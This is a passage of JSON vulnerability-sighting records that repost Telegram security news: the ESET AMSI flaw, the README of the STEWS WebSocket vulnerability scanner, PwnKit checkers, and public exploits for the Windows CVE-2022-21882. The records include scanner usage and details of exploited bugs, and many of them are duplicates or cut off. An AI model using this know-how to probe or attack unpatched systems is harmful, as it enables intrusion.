15.0.18.0\n* ESET Endpoint Antivirus for Windows and ESET Endpoint Security for Windows from version 6.6.2046.0 to 9.0.2032.4\n* ESET Server Security for Microsoft Windows Server 8.0.12003.0 and 8.0.12003.1, ESET File Security for Microsoft Windows Server from version 7.0.12014.0 to 7.3.12006.0\n* ESET Server Security for Microsoft Azure from version 7.0.12016.1002 to 7.2.12004.1000\n* ESET Security for Microsoft SharePoint Server from version 7.0.15008.0 to 8.0.15004.0\n* ESET Mail Security for IBM Domino from version 7.0.14008.0 to 8.0.14004.0\n* ESET Mail Security for Microsoft Exchange Server from version 7.0.10019 to 8.0.10016.0\nSee Also: Windows vulnerability with new public exploits lets you become admin Users of ESET Server Security for Microsoft Azure are also advised\u00a0to immediately update ESET File Security for Microsoft Azure to the latest available version of ESET Server Security for Microsoft Windows Server to address the flaw.\n\nThe antivirus maker released multiple security updates between December 8 and January 31\u00a0to address this vulnerability, when it patched the last vulnerable product exposed to attacks.\n\nLuckily, ESET\u00a0found no evidence of exploits designed to target products affected by this security bug in the wild.\n\n\u201cThe attack surface can also be eliminated by disabling the Enable advanced scanning via AMSI option in ESET products\u2019 Advanced setup,\u201d ESET added.\n\n\u201cHowever, ESET strongly recommends performing an upgrade to a fixed product version and only applying this workaround when the upgrade is not possible[...]", "vulnerability": "CVE-2021-37852", "author": {"login": "automation"}}, {"uuid": "cb1051e7-2c86-415d-816c-1d4788a97deb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.072436+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41068", "content": "verbose tracing of communications\n-d, \u2013debug Print each test case to track progress while running\n-u URL, \u2013url URL URL to connect to\n-f FILE, \u2013file FILE File containing URLs to check for valid WebSocket connections\n-n, \u2013no-encryption Connect using ws://, not wss:// (default is wss://)\n-k, \u2013nocert Ignore invalid SSL cert\n-o ORIGIN, \u2013origin ORIGIN\nSet origin\n-1 Test for generic Cross-site WebSocket Hijacking (CSWSH)\n-2 Test CVE-2021-32640 \u2013 ws Sec-Websocket-Protocol Regex DoS\n-3 Test CVE-2020-7662 & 7663 \u2013 faye Sec-WebSocket-Extensions Regex DoS\n-4 Test CVE-2020-27813 \u2013 Gorilla DoS Integer Overflow\n\nTest 1 provides a generic CSWSH test. This can be used in combination with the -oflag to specify a specific origin to attempt to bypass any server-side checks.\n\nTests 2, 3, and 4 check for specific CVEs. The test cases for these were created based on the PoC code published as part of the discovery of these CVEs. For example, to run test 4 on a local server on port 8084, you can run: python3 STEWS-vuln-detect.py -4 -n -u 127.0.0.1:8084Why this tool?\n\nWebSocket servers have been largely ignored in security circles. This is partially due to three hurdles that have not been clearly addressed for WebSocket endpoints:\n\n* Discovery\n* Enumeration/fingerprinting\n* Vulnerability detecting\n\nSTEWS attempts to address these three points. A custom tool was required because there is a distinct lack of support for manually configured WebSocket testing in current security testing tools:\n\n* There is a general lack of supported and scriptable Web Socket security testing tools (for example, NCC\u2019s unsupported\u00a0wssip tool,\u00a0nuclei\u2019s lack of Web Socket support, and\u00a0nmap\u2019s lack of Web Socket support)\n* Burp Suite lacks support for Web Socket extensions (for example, see\u00a0this Port Swigger forum thread\u00a0and\u00a0this one).\n* There is a lack of deeper Web Socket-specific security research (the\u00a0Awesome Web Socket Security repository\u00a0lists published Web Sockets security research)\n* The proliferation of Web Sockets around the modern web (as seen in the results of the STEWS discovery tool) Download", "vulnerability": "CVE-2021-32640", "author": {"login": "automation"}}, {"uuid": "1bd21b78-99be-4c7e-8061-32d15edf6972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:06.026104+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41068", "content": "verbose tracing of communications\n-d, \u2013debug Print each test case to track progress while running\n-u URL, \u2013url URL URL to connect to\n-f FILE, \u2013file FILE File containing URLs to check for valid WebSocket connections\n-n, \u2013no-encryption Connect using ws://, not wss:// (default is wss://)\n-k, \u2013nocert Ignore invalid SSL cert\n-o ORIGIN, \u2013origin ORIGIN\nSet origin\n-1 Test for generic Cross-site WebSocket Hijacking (CSWSH)\n-2 Test CVE-2021-32640 \u2013 ws Sec-Websocket-Protocol Regex DoS\n-3 Test CVE-2020-7662 & 7663 \u2013 faye Sec-WebSocket-Extensions Regex DoS\n-4 Test CVE-2020-27813 \u2013 Gorilla DoS Integer Overflow\n\nTest 1 provides a generic CSWSH test. This can be used in combination with the -oflag to specify a specific origin to attempt to bypass any server-side checks.\n\nTests 2, 3, and 4 check for specific CVEs. The test cases for these were created based on the PoC code published as part of the discovery of these CVEs. For example, to run test 4 on a local server on port 8084, you can run: python3 STEWS-vuln-detect.py -4 -n -u 127.0.0.1:8084Why this tool?\n\nWebSocket servers have been largely ignored in security circles. This is partially due to three hurdles that have not been clearly addressed for WebSocket endpoints:\n\n* Discovery\n* Enumeration/fingerprinting\n* Vulnerability detecting\n\nSTEWS attempts to address these three points. A custom tool was required because there is a distinct lack of support for manually configured WebSocket testing in current security testing tools:\n\n* There is a general lack of supported and scriptable Web Socket security testing tools (for example, NCC\u2019s unsupported\u00a0wssip tool,\u00a0nuclei\u2019s lack of Web Socket support, and\u00a0nmap\u2019s lack of Web Socket support)\n* Burp Suite lacks support for Web Socket extensions (for example, see\u00a0this Port Swigger forum thread\u00a0and\u00a0this one).\n* There is a lack of deeper Web Socket-specific security research (the\u00a0Awesome Web Socket Security repository\u00a0lists published Web Sockets security research)\n* The proliferation of Web Sockets around the modern web (as seen in the results of the STEWS discovery tool) Download", "vulnerability": "CVE-2020-7662", "author": {"login": "automation"}}, {"uuid": "80cae075-382e-4982-841b-ca2c8d5aac1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.974896+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41068", "content": "verbose tracing of communications\n-d, \u2013debug Print each test case to track progress while running\n-u URL, \u2013url URL URL to connect to\n-f FILE, \u2013file FILE File containing URLs to check for valid WebSocket connections\n-n, \u2013no-encryption Connect using ws://, not wss:// (default is wss://)\n-k, \u2013nocert Ignore invalid SSL cert\n-o ORIGIN, \u2013origin ORIGIN\nSet origin\n-1 Test for generic Cross-site WebSocket Hijacking (CSWSH)\n-2 Test CVE-2021-32640 \u2013 ws Sec-Websocket-Protocol Regex DoS\n-3 Test CVE-2020-7662 & 7663 \u2013 faye Sec-WebSocket-Extensions Regex DoS\n-4 Test CVE-2020-27813 \u2013 Gorilla DoS Integer Overflow\n\nTest 1 provides a generic CSWSH test. This can be used in combination with the -oflag to specify a specific origin to attempt to bypass any server-side checks.\n\nTests 2, 3, and 4 check for specific CVEs. The test cases for these were created based on the PoC code published as part of the discovery of these CVEs. For example, to run test 4 on a local server on port 8084, you can run: python3 STEWS-vuln-detect.py -4 -n -u 127.0.0.1:8084Why this tool?\n\nWebSocket servers have been largely ignored in security circles. This is partially due to three hurdles that have not been clearly addressed for WebSocket endpoints:\n\n* Discovery\n* Enumeration/fingerprinting\n* Vulnerability detecting\n\nSTEWS attempts to address these three points. A custom tool was required because there is a distinct lack of support for manually configured WebSocket testing in current security testing tools:\n\n* There is a general lack of supported and scriptable Web Socket security testing tools (for example, NCC\u2019s unsupported\u00a0wssip tool,\u00a0nuclei\u2019s lack of Web Socket support, and\u00a0nmap\u2019s lack of Web Socket support)\n* Burp Suite lacks support for Web Socket extensions (for example, see\u00a0this Port Swigger forum thread\u00a0and\u00a0this one).\n* There is a lack of deeper Web Socket-specific security research (the\u00a0Awesome Web Socket Security repository\u00a0lists published Web Sockets security research)\n* The proliferation of Web Sockets around the modern web (as seen in the results of the STEWS discovery tool) Download", "vulnerability": "CVE-2020-27813", "author": {"login": "automation"}}, {"uuid": "98392102-1764-499c-af99-86a4c3feb4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.923234+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41093", "content": "hacking: security in practice\nUsing PwnKit-Hunter to check for CVE-2021-4034 Vulnerable Systems\n\nhttps://external-preview.redd.it/65u1VbZIMoU_UdZKLpgWiqHHQEbZdsMmGfqinvQiWh4.jpg?width=640&crop=smart&auto=webp&s=fabb6a81896aec90d957821a2ac92f481461a31c submitted by /u/jat0369 \n[link] [comments]", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "2efb983f-f6ee-4bac-9254-f8e1af424aa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.872931+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41067", "content": "et-Extensions (series 400)\n* Sec-WebSocket-Protocol (series 500)\n\nThe WebSocket communication contains several fields that can determine the server-size supported features, including:\n\n* Opcodes (series 100)\n* Reserved bits (series 200)\n* Maximum payload length (series 600)\n* Older WebSocket hybi draft protocol features support (series 700)\n\nBy sending unexpected or edge case inputs to the WebSocket server, the STEWS fingerprinting tool can receive different responses from the WebSocket server depending on what server is running. For example, compare the server responses to test case 200 between three different WebSocket implementations:\n\n* Faye: One or more reserved bits are on: reserved1 = 0, reserved2 = 0, reserved3 = 1* Gorilla: unexpected reserved bits 0x10* Java Spring Boot: The client frame set the reserved bits to* Ratchet: Ratchet detected an invalid reserve codeBy collecting many such varying responses, the STEWS finger printer can compare any Web Socket server\u2019s fingerprint against database of known Web Socket servers to attempt to identify it. The current fingerprint database was created using the\u00a0Web Sockets-Playground repository, which simplifies the process of starting multiple local Web Sockets servers. The current fingerprint matching algorithm is very basic and assigns one or two points to each test case to weight some test case results more heavily than others. The fingerprint in the STEWS finger printer database with the smallest points delta is considered the top candidate for an identification match. Adding New Web Socket Server Fingerprints\n\nPlease submit a pull request (PR) if you have a Web Socket fingerprint to add. The fingerprint definition for a WebSocket server is created in the form of a list. You can generate this list for a known Web Socket server using the -gor --generate-fingerprintflag of the STEWS fingerprint tool. Manual edits of the automatically generated fingerprint are recommended based on the test case. For example, the test cases in the \u201ccontain Cases\u201d array (currently test cases 104-206) use a string find test rather than an exact match to determine the fingerprint delta. False Positives and Errors\n\nIf testing a Web Socket server over the internet, additional network elements can interfere with the fingerprinting results. Fingerprinting identifiers from the handshake process, which happens over HTTP, may be modified by a reverse proxy or WAF. It is better to focus on using the Web Socket post-connection fingerprinting identifiers in this situation (see the categorization in the\u00a0How it works\u00a0section), especially error messages that are usually unique to specific Web Socket servers. Web Socket Vulnerability Detection\n\nSTEWS Vulnerability Detection Tool\n\nThe STEWS (Security Tool for Enumerating WebSockets) vulnerability detection tool allows users to test whether a WebSockets endpoint is vulnerable to known CVEs or other WebSockets vulnerabilities.\n\nThe tool currently supports tests for vulnerabilities including:\n\n* CSWSH (Cross-Site WebSocket Hijacking)\n* CVE-2020-27813 (Gorilla DoS Integer Overflow)\n* CVE-2020-7662 & CVE-2020-7663 (faye Sec-WebSocket-Extensions Regex DoS)\n* CVE-2021-32640 (ws Sec-Websocket-Protocol Regex DoS)\n\nA more complete list of CVEs that this tool might support in the future can be found in the\u00a0Awesome WebSocket Security repository. Basic Usage\n\nFirst, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt. Then if you run python3 STEWS-vuln-detect.py -hyou will be greeted by the following options:\n\nusage: STEWS-vuln-detect.py [-h] [-v] [-d] [-u URL] [-f FILE] [-n] [-k] [-o ORIGIN] [-1] [-2] [-3] [-4]\nSecurity Testing and Enumeration of WebSockets (STEWS) Vulnerability Detection Tool\noptional arguments:\n-h, \u2013help show this help message and exit\n-v, \u2013verbose Enable [...]", "vulnerability": "CVE-2020-7663", "author": {"login": "automation"}}, {"uuid": "731aeb36-53d6-4975-b925-b617bce904cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.825281+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41067", "content": "et-Extensions (series 400)\n* Sec-WebSocket-Protocol (series 500)\n\nThe WebSocket communication contains several fields that can determine the server-size supported features, including:\n\n* Opcodes (series 100)\n* Reserved bits (series 200)\n* Maximum payload length (series 600)\n* Older WebSocket hybi draft protocol features support (series 700)\n\nBy sending unexpected or edge case inputs to the WebSocket server, the STEWS fingerprinting tool can receive different responses from the WebSocket server depending on what server is running. For example, compare the server responses to test case 200 between three different WebSocket implementations:\n\n* Faye: One or more reserved bits are on: reserved1 = 0, reserved2 = 0, reserved3 = 1* Gorilla: unexpected reserved bits 0x10* Java Spring Boot: The client frame set the reserved bits to* Ratchet: Ratchet detected an invalid reserve codeBy collecting many such varying responses, the STEWS finger printer can compare any Web Socket server\u2019s fingerprint against database of known Web Socket servers to attempt to identify it. The current fingerprint database was created using the\u00a0Web Sockets-Playground repository, which simplifies the process of starting multiple local Web Sockets servers. The current fingerprint matching algorithm is very basic and assigns one or two points to each test case to weight some test case results more heavily than others. The fingerprint in the STEWS finger printer database with the smallest points delta is considered the top candidate for an identification match. Adding New Web Socket Server Fingerprints\n\nPlease submit a pull request (PR) if you have a Web Socket fingerprint to add. The fingerprint definition for a WebSocket server is created in the form of a list. You can generate this list for a known Web Socket server using the -gor --generate-fingerprintflag of the STEWS fingerprint tool. Manual edits of the automatically generated fingerprint are recommended based on the test case. For example, the test cases in the \u201ccontain Cases\u201d array (currently test cases 104-206) use a string find test rather than an exact match to determine the fingerprint delta. False Positives and Errors\n\nIf testing a Web Socket server over the internet, additional network elements can interfere with the fingerprinting results. Fingerprinting identifiers from the handshake process, which happens over HTTP, may be modified by a reverse proxy or WAF. It is better to focus on using the Web Socket post-connection fingerprinting identifiers in this situation (see the categorization in the\u00a0How it works\u00a0section), especially error messages that are usually unique to specific Web Socket servers. Web Socket Vulnerability Detection\n\nSTEWS Vulnerability Detection Tool\n\nThe STEWS (Security Tool for Enumerating WebSockets) vulnerability detection tool allows users to test whether a WebSockets endpoint is vulnerable to known CVEs or other WebSockets vulnerabilities.\n\nThe tool currently supports tests for vulnerabilities including:\n\n* CSWSH (Cross-Site WebSocket Hijacking)\n* CVE-2020-27813 (Gorilla DoS Integer Overflow)\n* CVE-2020-7662 & CVE-2020-7663 (faye Sec-WebSocket-Extensions Regex DoS)\n* CVE-2021-32640 (ws Sec-Websocket-Protocol Regex DoS)\n\nA more complete list of CVEs that this tool might support in the future can be found in the\u00a0Awesome WebSocket Security repository. Basic Usage\n\nFirst, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt. Then if you run python3 STEWS-vuln-detect.py -hyou will be greeted by the following options:\n\nusage: STEWS-vuln-detect.py [-h] [-v] [-d] [-u URL] [-f FILE] [-n] [-k] [-o ORIGIN] [-1] [-2] [-3] [-4]\nSecurity Testing and Enumeration of WebSockets (STEWS) Vulnerability Detection Tool\noptional arguments:\n-h, \u2013help show this help message and exit\n-v, \u2013verbose Enable [...]", "vulnerability": "CVE-2020-7662", "author": {"login": "automation"}}, {"uuid": "f50a7a7f-61fd-419f-8f7a-0038c1053f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.773842+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41067", "content": "et-Extensions (series 400)\n* Sec-WebSocket-Protocol (series 500)\n\nThe WebSocket communication contains several fields that can determine the server-size supported features, including:\n\n* Opcodes (series 100)\n* Reserved bits (series 200)\n* Maximum payload length (series 600)\n* Older WebSocket hybi draft protocol features support (series 700)\n\nBy sending unexpected or edge case inputs to the WebSocket server, the STEWS fingerprinting tool can receive different responses from the WebSocket server depending on what server is running. For example, compare the server responses to test case 200 between three different WebSocket implementations:\n\n* Faye: One or more reserved bits are on: reserved1 = 0, reserved2 = 0, reserved3 = 1* Gorilla: unexpected reserved bits 0x10* Java Spring Boot: The client frame set the reserved bits to* Ratchet: Ratchet detected an invalid reserve codeBy collecting many such varying responses, the STEWS finger printer can compare any Web Socket server\u2019s fingerprint against database of known Web Socket servers to attempt to identify it. The current fingerprint database was created using the\u00a0Web Sockets-Playground repository, which simplifies the process of starting multiple local Web Sockets servers. The current fingerprint matching algorithm is very basic and assigns one or two points to each test case to weight some test case results more heavily than others. The fingerprint in the STEWS finger printer database with the smallest points delta is considered the top candidate for an identification match. Adding New Web Socket Server Fingerprints\n\nPlease submit a pull request (PR) if you have a Web Socket fingerprint to add. The fingerprint definition for a WebSocket server is created in the form of a list. You can generate this list for a known Web Socket server using the -gor --generate-fingerprintflag of the STEWS fingerprint tool. Manual edits of the automatically generated fingerprint are recommended based on the test case. For example, the test cases in the \u201ccontain Cases\u201d array (currently test cases 104-206) use a string find test rather than an exact match to determine the fingerprint delta. False Positives and Errors\n\nIf testing a Web Socket server over the internet, additional network elements can interfere with the fingerprinting results. Fingerprinting identifiers from the handshake process, which happens over HTTP, may be modified by a reverse proxy or WAF. It is better to focus on using the Web Socket post-connection fingerprinting identifiers in this situation (see the categorization in the\u00a0How it works\u00a0section), especially error messages that are usually unique to specific Web Socket servers. Web Socket Vulnerability Detection\n\nSTEWS Vulnerability Detection Tool\n\nThe STEWS (Security Tool for Enumerating WebSockets) vulnerability detection tool allows users to test whether a WebSockets endpoint is vulnerable to known CVEs or other WebSockets vulnerabilities.\n\nThe tool currently supports tests for vulnerabilities including:\n\n* CSWSH (Cross-Site WebSocket Hijacking)\n* CVE-2020-27813 (Gorilla DoS Integer Overflow)\n* CVE-2020-7662 & CVE-2020-7663 (faye Sec-WebSocket-Extensions Regex DoS)\n* CVE-2021-32640 (ws Sec-Websocket-Protocol Regex DoS)\n\nA more complete list of CVEs that this tool might support in the future can be found in the\u00a0Awesome WebSocket Security repository. Basic Usage\n\nFirst, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt. Then if you run python3 STEWS-vuln-detect.py -hyou will be greeted by the following options:\n\nusage: STEWS-vuln-detect.py [-h] [-v] [-d] [-u URL] [-f FILE] [-n] [-k] [-o ORIGIN] [-1] [-2] [-3] [-4]\nSecurity Testing and Enumeration of WebSockets (STEWS) Vulnerability Detection Tool\noptional arguments:\n-h, \u2013help show this help message and exit\n-v, \u2013verbose Enable [...]", "vulnerability": "CVE-2020-27813", "author": {"login": "automation"}}, {"uuid": "de956eae-3418-4f9f-bb68-80b760efa7e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.719161+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41067", "content": "et-Extensions (series 400)\n* Sec-WebSocket-Protocol (series 500)\n\nThe WebSocket communication contains several fields that can determine the server-size supported features, including:\n\n* Opcodes (series 100)\n* Reserved bits (series 200)\n* Maximum payload length (series 600)\n* Older WebSocket hybi draft protocol features support (series 700)\n\nBy sending unexpected or edge case inputs to the WebSocket server, the STEWS fingerprinting tool can receive different responses from the WebSocket server depending on what server is running. For example, compare the server responses to test case 200 between three different WebSocket implementations:\n\n* Faye: One or more reserved bits are on: reserved1 = 0, reserved2 = 0, reserved3 = 1* Gorilla: unexpected reserved bits 0x10* Java Spring Boot: The client frame set the reserved bits to* Ratchet: Ratchet detected an invalid reserve codeBy collecting many such varying responses, the STEWS finger printer can compare any Web Socket server\u2019s fingerprint against database of known Web Socket servers to attempt to identify it. The current fingerprint database was created using the\u00a0Web Sockets-Playground repository, which simplifies the process of starting multiple local Web Sockets servers. The current fingerprint matching algorithm is very basic and assigns one or two points to each test case to weight some test case results more heavily than others. The fingerprint in the STEWS finger printer database with the smallest points delta is considered the top candidate for an identification match. Adding New Web Socket Server Fingerprints\n\nPlease submit a pull request (PR) if you have a Web Socket fingerprint to add. The fingerprint definition for a WebSocket server is created in the form of a list. You can generate this list for a known Web Socket server using the -gor --generate-fingerprintflag of the STEWS fingerprint tool. Manual edits of the automatically generated fingerprint are recommended based on the test case. For example, the test cases in the \u201ccontain Cases\u201d array (currently test cases 104-206) use a string find test rather than an exact match to determine the fingerprint delta. False Positives and Errors\n\nIf testing a Web Socket server over the internet, additional network elements can interfere with the fingerprinting results. Fingerprinting identifiers from the handshake process, which happens over HTTP, may be modified by a reverse proxy or WAF. It is better to focus on using the Web Socket post-connection fingerprinting identifiers in this situation (see the categorization in the\u00a0How it works\u00a0section), especially error messages that are usually unique to specific Web Socket servers. Web Socket Vulnerability Detection\n\nSTEWS Vulnerability Detection Tool\n\nThe STEWS (Security Tool for Enumerating WebSockets) vulnerability detection tool allows users to test whether a WebSockets endpoint is vulnerable to known CVEs or other WebSockets vulnerabilities.\n\nThe tool currently supports tests for vulnerabilities including:\n\n* CSWSH (Cross-Site WebSocket Hijacking)\n* CVE-2020-27813 (Gorilla DoS Integer Overflow)\n* CVE-2020-7662 & CVE-2020-7663 (faye Sec-WebSocket-Extensions Regex DoS)\n* CVE-2021-32640 (ws Sec-Websocket-Protocol Regex DoS)\n\nA more complete list of CVEs that this tool might support in the future can be found in the\u00a0Awesome WebSocket Security repository. Basic Usage\n\nFirst, make sure you have the necessary Python 3 dependencies installed using pip3 install -r requirements.txt. Then if you run python3 STEWS-vuln-detect.py -hyou will be greeted by the following options:\n\nusage: STEWS-vuln-detect.py [-h] [-v] [-d] [-u URL] [-f FILE] [-n] [-k] [-o ORIGIN] [-1] [-2] [-3] [-4]\nSecurity Testing and Enumeration of WebSockets (STEWS) Vulnerability Detection Tool\noptional arguments:\n-h, \u2013help show this help message and exit\n-v, \u2013verbose Enable [...]", "vulnerability": "CVE-2021-32640", "author": {"login": "automation"}}, {"uuid": "356d7608-2317-46b5-885f-30a57718ff8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.670706+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/40864", "content": "November,\u00a0security researcher Abdelhamid Nacer released a zero-day privilege elevation exploit\u00a0due to Microsoft\u2019s decreasing payouts in their bug bounty program.\nSee Also: Recon Tool: WitnessMe \u201cMicrosoft bounties has been trashed since April 2020, I really wouldn\u2019t do that if MSFT didn\u2019t take the decision to downgrade those bounties,\u201d Naceri told BleepingComputer at the time.\n\nRyeLv\u00a0noted in his technical writeup for the\u00a0CVE-2022-21882 vulnerability that the best way to eliminate this bug class is to improve Microsoft\u2019s Windows kernel bug bounties.\n\n\u201cImprove the kernel 0day bounty, let more security researchers participate in the bounty program, and help the system to be more perfect,\u201d advised RyeLv.\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Stuxnet \u2013 A weapon made out of code that almost started WW3 Source: bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ryanpickrenapplehack-768x768-1-90x90.jpg Apple pays out $100k bounty for Safari webcam hack that imperiled victims\u2019 online accounts3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Apple-glitch-90x90.jpg Apple fixes new zero-day exploited to hack macOS, iOS devices4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/new-linux-kernel-memory-corruption-bug-causes-full-system-compromise-90x90.jpg Linux system service bug gives root on all major distros, exploit released5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/centos1-90x90.png CWP bugs allow code execution as root on Linux servers6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/mcafee-d2c-90x90.jpg McAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-12-90x90.jpg Cisco bug gives remote attackers root privileges via debug mode1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-11-1-90x90.jpg Beijing Olympics App Flaws Allow Man-in-the-Middle Attacks2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-10-90x90.jpg SSRF vulnerability in VMWare authentication software could allow access to user data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Safari-Apple-navigateur-90x90.jpg Same-origin violation vulnerability in Safari 15 could leak a user\u2019s website history and identity2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Qlocker-Ransomware-1-90x90.png Qlocker ransomware returns \u2013 targets QNAP NAS devices worldwide2 weeks ago\nThe post Windows vulnerability with new public exploits lets you become admin first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-21882", "author": {"login": "automation"}}, {"uuid": "cfad7606-2f2f-498f-8869-9583b70fecaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.617335+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/40837", "content": "hacking: security in practice\nTraitor now includes an exploit for CVE-2021-4034 (pwnkit)\n\nhttps://external-preview.redd.it/OgJf5z4cFGo1qafeEPS4Y2J_uzRTxsB8jt_bK_jujLM.jpg?width=640&crop=smart&auto=webp&s=a2a26656580d677f8321380a0bf01462c14c0a26 submitted by /u/pope_friction \n[link] [comments]", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "151c1fe2-52c6-446d-9d80-23bf6da8e357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.565042+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/40863", "content": "Black Hat Ethical Hacking\nWindows vulnerability with new public exploits lets you become admin\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Windows vulnerability with new public exploits lets you become adminPost Views: 206 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nA security researcher has publicly disclosed an exploit for a Windows local privilege elevation vulnerability that allows anyone to gain admin privileges in Windows 10.\nUsing this vulnerability, threat actors with limited access to a compromised device can easily elevate their privileges to help spread laterally within the network, create new administrative users, or perform privileged commands.\n\nThe vulnerability affects all supported support versions of Windows 10 before the January 2022 Patch Tuesday updates. Researcher releases bypass to patched vulnerabilityAs part of the January 2022 Patch Tuesday, Microsoft fixed a \u2018Win32k Elevation of Privilege Vulnerability\u2019 vulnerability tracked as CVE-2022-21882, which is a bypass for the previously patched and actively exploited CVE-2021-1732 bug.\n\nMicrosoft attributes the discovery of this vulnerability to RyeLv, who shared a technical analysis\u00a0of the vulnerability after Microsoft released the patch.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nRegarding the just-fixed CVE-2022-21882: \nwin32k privilege escalation vulnerability,\nCVE-2021-1732 patch bypass,easy to exploit,which was used by apt attacks\n\n\u2014 b2ahex (@b2ahex) January 12, 2022\nThis week, multiple exploits were publicly released for\u00a0CVE-2022-21882 that allow anyone to gain SYSTEM privileges on vulnerable Windows 10 devices.\n\nAfter the exploit\u2019s release, Will Dormann, a vulnerability analyst for CERT/CC and Twitter\u2019s resident exploit tester, confirmed that the exploits works\u00a0and provides elevated privileges.\n\nBleepingComputer also tested the vulnerability and had no problem compiling the exploit and using it to open Notepad with SYSTEM privileges on Windows 10, as shown below. BleepingComputer could not get the exploit to work on Windows 11.\nhttps://www.bleepstatic.com/images/news/Microsoft/vulnerabilities/CVE-2022-21882/CVE-2022-21882-test.jpg \nBug found two years earlierThis same vulnerability was discovered two years ago\u00a0by Israeli security researcher and Piiano CEO Gil Dabah, who decided not to disclose the bug due to the reduced bug bounty rewards\u00a0by Microsoft.\n\nDabah is not alone in his frustrations over Microsoft\u2019s diminishing bug bounty rewards.\n\nIn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-21882", "author": {"login": "automation"}}, {"uuid": "6ed8c505-31ba-495d-90b6-f4e82cb69303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.522804+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/40863", "content": "Black Hat Ethical Hacking\nWindows vulnerability with new public exploits lets you become admin\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Windows vulnerability with new public exploits lets you become adminPost Views: 206 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nA security researcher has publicly disclosed an exploit for a Windows local privilege elevation vulnerability that allows anyone to gain admin privileges in Windows 10.\nUsing this vulnerability, threat actors with limited access to a compromised device can easily elevate their privileges to help spread laterally within the network, create new administrative users, or perform privileged commands.\n\nThe vulnerability affects all supported support versions of Windows 10 before the January 2022 Patch Tuesday updates. Researcher releases bypass to patched vulnerabilityAs part of the January 2022 Patch Tuesday, Microsoft fixed a \u2018Win32k Elevation of Privilege Vulnerability\u2019 vulnerability tracked as CVE-2022-21882, which is a bypass for the previously patched and actively exploited CVE-2021-1732 bug.\n\nMicrosoft attributes the discovery of this vulnerability to RyeLv, who shared a technical analysis\u00a0of the vulnerability after Microsoft released the patch.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nRegarding the just-fixed CVE-2022-21882: \nwin32k privilege escalation vulnerability,\nCVE-2021-1732 patch bypass,easy to exploit,which was used by apt 